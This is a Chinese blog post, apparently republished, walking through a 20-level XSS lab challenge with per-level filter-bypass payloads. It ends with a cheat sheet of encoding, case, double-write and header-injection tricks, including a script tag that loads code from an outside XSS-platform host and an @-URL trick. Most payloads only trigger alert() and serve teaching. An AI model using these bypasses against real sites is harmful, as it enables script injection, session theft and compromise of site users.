XSS绕过实战练习

栏目: 编程工具 · 发布时间: 5年前

内容简介:写这篇博文起源来自于一次网络安全实验课,在实验虚拟环境里有一个xss挑战,估计是搬别人的xss挑战进来,我觉得挺有意思,就记录一下。有些关卡不能再虚拟环境实践,我在自己物理机上找到那个xss挑战平台进行实现。未进行过滤,直接输入payloadpayload:<script>alert(/xss/)</script>

前言

写这篇博文起源来自于一次网络安全实验课,在实验虚拟环境里有一个xss挑战,估计是搬别人的xss挑战进来,我觉得挺有意思,就记录一下。有些关卡不能再虚拟环境实践,我在自己物理机上找到那个xss挑战平台进行实现。

level1

未进行过滤,直接输入payload

payload:<script>alert(/xss/)</script>

XSS绕过实战练习

level2

发现对html特殊符号进行了实体编码,<script>失效,但是发现下面input标签里还有一个输出点,可以对这个构造事件payload

XSS绕过实战练习

payload:" onclick=alert(/xss/)><"

当然需要点击一下触发

XSS绕过实战练习

level3

编码了双引号,但是源码里用的单引号,用单引号构造即可

payload:'onclick=alert(/xss/)><'

XSS绕过实战练习

level4

过滤了<>符号,我们只能用事件绕过,这里利用浏览器的容错特性,不闭合直接注释也能执行

payload:" onclick=alert(/xss/)//

XSS绕过实战练习

level5

有两处输出的地方,第一处对特殊符号进行了实体编码,第二处将on开头的事件全部替换加下斜杠,也将<script>标签替换为<scr_ipt>,并且做了转小写处理,这里因为匹配的是<script>标签,而不是script字符,所以可以使用javascript:alert(/xss/),并且可以闭合双引号,那我们就构造链接弹窗

XSS绕过实战练习

payload:"><a href=javascript:alert(/xss/)>xss</a>

点击xss

XSS绕过实战练习

level6

这里紧接就过滤了href标签,但是却没有做小写处理,可以用大写绕过匹配

payload:"><a Href=javascript:alert(/xss/)>xss</a>

或者:"><Script>alert(/xss/)</script>

XSS绕过实战练习

XSS绕过实战练习

level7

做了小写处理,将script和href,src,on等字符串替换为空字符

XSS绕过实战练习

猜测只替换了一次,我们可以用双写绕过

payload:

"><scrscriptipt>alert(/xss/)</scrscriptipt>
"><a hrhrefef=javascrscriptipt:alert(/xss/)>xss</a>
"><img srsrcc="" oonnerror=alert(/xss/)>
" oonnclick=alert(/xss/)><"

XSS绕过实战练习

level8

做了小写处理,将script和href,src,on等字符串加上下斜杠,使其无法正常解析,还将双引号实体编码,是我们不能闭合双引号

这里是一个a标签,用href构造一个链接

XSS绕过实战练习

想到可以调用外部js,但事实并没那么简单,因为完成目标需要在本页面弹窗,才会显示输出,并跳转到下一关

XSS绕过实战练习

因为这里是先添加一个链接,再打开这个链接,会打开另一个界面,就不在本界面弹窗,所以外部调用不可行

只能用伪协议javascript:alert(/xss/),但script会被替换

那我们只有尝试编码绕过了

用实体编码可绕过

payload:

十进制实体编码:javascrip :alert(/xss/)
十六进制实体编码:javascript:alert(/xss/)
都是将t字符进行实体编码,当然对其他字符进行编码也可以,目的在于绕过服务端的匹配。客户端解析时又会将其转码为t,从而弹窗

XSS绕过实战练习

level9

href里直接显示链接不合法,测试发现输入中必须包含http

XSS绕过实战练习

那我们用注释符绕过即可,构造payload

payload:javascrip&#116;:alert(/xss/)//http://192.168.1.3

或者javascrip&#x74;:alert(/xss/)//http://192.168.1.3

XSS绕过实战练习

level10

这里发现输出的地方进行了html实体编码,一时间没找到突破口

XSS绕过实战练习

查看源码才发现,t_sort变量的键值也是可定义的,过滤了<>符号,没有编码双引号,这里告诉我们要多测试一些变量

XSS绕过实战练习

paylaod:

" type="text" onclick=alert(/xss/)" #因为页面中没有触发事件框,所以type="text"构造一个文本框

XSS绕过实战练习

level11

查看源码发现多了一个键值t_ref,内容一看,不是上一题的url吗?猜测这是获取的http头里的referer字段

XSS绕过实战练习

伪造referer字段即可

这里由于实战环境在虚拟环境内,且无网,没有burpsuite工具,不方便操作

只给出payload

referer: " type="text" onclick=alert(/xss/)"

level12

查看源码多了键值t_ua,应该是浏览器的User-Agent

XSS绕过实战练习

同样用burpsuite伪造UA发包即可

paylaod:

User-Agent: " type="text" onclick=alert(/xss/)"

level13

查看源码多了键值t_cook,应该是cookie

XSS绕过实战练习

同样用burpsuite伪造cookie发包即可

payload:

Cookie: " type="text" onclick=alert(/xss/)"

level14

查看源码发现exif,猜测应该是exif xss,但是这个链接由于网络的原因无法访问,所以,也无法实践

XSS绕过实战练习

exif xss,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗

具体实现使用kali下的exiftool工具

命令如下:

exiftool -FIELD=XSS FILE

exiftool -Artist=’ “><img src=1 onerror=alert(document.domain)>’ brute.jpeg

level15

什么?让我自己走出去。这里看来只能在url里面操作

XSS绕过实战练习

发现src参数,查看源码发现把参数拼接到了最后一行输出,那这里应该是突破口了

这里估计使用ng-include,这个属性可以包含文件,默认是同域名的文件

XSS绕过实战练习

XSS绕过实战练习

那我们包含level1.php加上参数即可

payload:level15.php?src='level1.php?name=<img src=x onerror=alert(1)>'

因为这里要访问上面的angular.min.js这个js文件,才能进行包含,虚拟环境里面无法访问那个js,因为需要fanqiang才能访问,根本没法实现,所以我找了外网的一样的xss挑战进行测试

成功包含level1弹窗

XSS绕过实战练习

level16

这一关过滤了空格,还有script字符串,也替换成空格,编码为&nbsp;

XSS绕过实战练习

这里我们可以使用换行符%0a(换行)或者%0d(回车)绕过

paylaod:<img%0asrc=x%0aonerror=alert(1)>

或者<svg%0aonload=alert(1)>

XSS绕过实战练习

level17

查看源码,发现swf文件

百度了一下,以为是flash xss,但是始终利用不成功,结果好像不需要这样利用

XSS绕过实战练习

直接把arg02赋值为

onclick=alert(1) #注意最前面有一个空格

查看源码发现自动补全了引号,我也不懂为啥

XSS绕过实战练习

level18

与上一关一样的payload

XSS绕过实战练习

level19

这一关没有自动添加双引号,自己写入的双引号也被编码。无法闭合,好像只有根据flash xss来构造payload,

level20

与上一关相似,待考究

总结

xss绕过方法

大小写绕过

<Script>alert(1)</Script>

双写绕过

<scrscriptipt>alert(1)</scrscriptipt>

替换绕过

过滤 alert 用prompt,confirm,top['alert'](1)代替绕过
过滤() 用``代替绕过
过滤空格 用%0a(换行符),%0d(回车符),/**/代替绕过
小写转大写情况下 字符ſ大写后为S(ſ不等于s)

%00截断绕过

<a href=javascr%00ipt:alert(1)>xss</a>

编码绕过

实体编码
javascript:alert(1) 十六进制
javascrip :alert(1) 十进制

unicode编码
javascripu0074:alert(1) 

url编码
javascrip%74:alert(1)

fromCharCode方法绕过

String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)
eval(FromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))

javascript伪协议绕过

无法闭合双引号的情况下,就无法使用onclick等事件,只能伪协议绕过,或者调用外部js

换行绕过正则匹配

onmousedown
=alert(1)

注释符

// 单行注释
<!-- --!> 注释多行内容
<!-- --> 注释多行内容
<-- --> 注释多行内容
<-- --!> 注释多行内容
--> 单行注释后面内容
/* */ 多行注释
有时还可以利用浏览器的容错性,不需要注释

闭合标签空格绕过

</style ><script>alert(1)</script>

@符号绕过url限制

例如:https://www.segmentfault.com@xss.haozi.me/j.js

其实访问的是@后面的内容

")逃逸函数后接分号

例:");alert(1)//

绕过转义限制

例:

")
alert(1) //

xss paylaod形式

<script>alert(1)</script>
<script src="http://xsspt.com/vA4t1W?1542101296"></script>
<img src=x onerror=alert(1)>
<a href="javascript:alert(1)">xss</a>
<svg onload=alert(1)>
<input type="text" name="test" onclick=alert(1)>
<iframe src="javascript:alert(/xss/)">xss</iframe>
<iframe srcdoc="<script>alert 1 </script>">

以上所述就是小编给大家介绍的《XSS绕过实战练习》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

An Introduction to the Analysis of Algorithms

An Introduction to the Analysis of Algorithms

Robert Sedgewick、Philippe Flajolet / Addison-Wesley Professional / 1995-12-10 / CAD 67.99

This book is a thorough overview of the primary techniques and models used in the mathematical analysis of algorithms. The first half of the book draws upon classical mathematical material from discre......一起来看看 《An Introduction to the Analysis of Algorithms》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具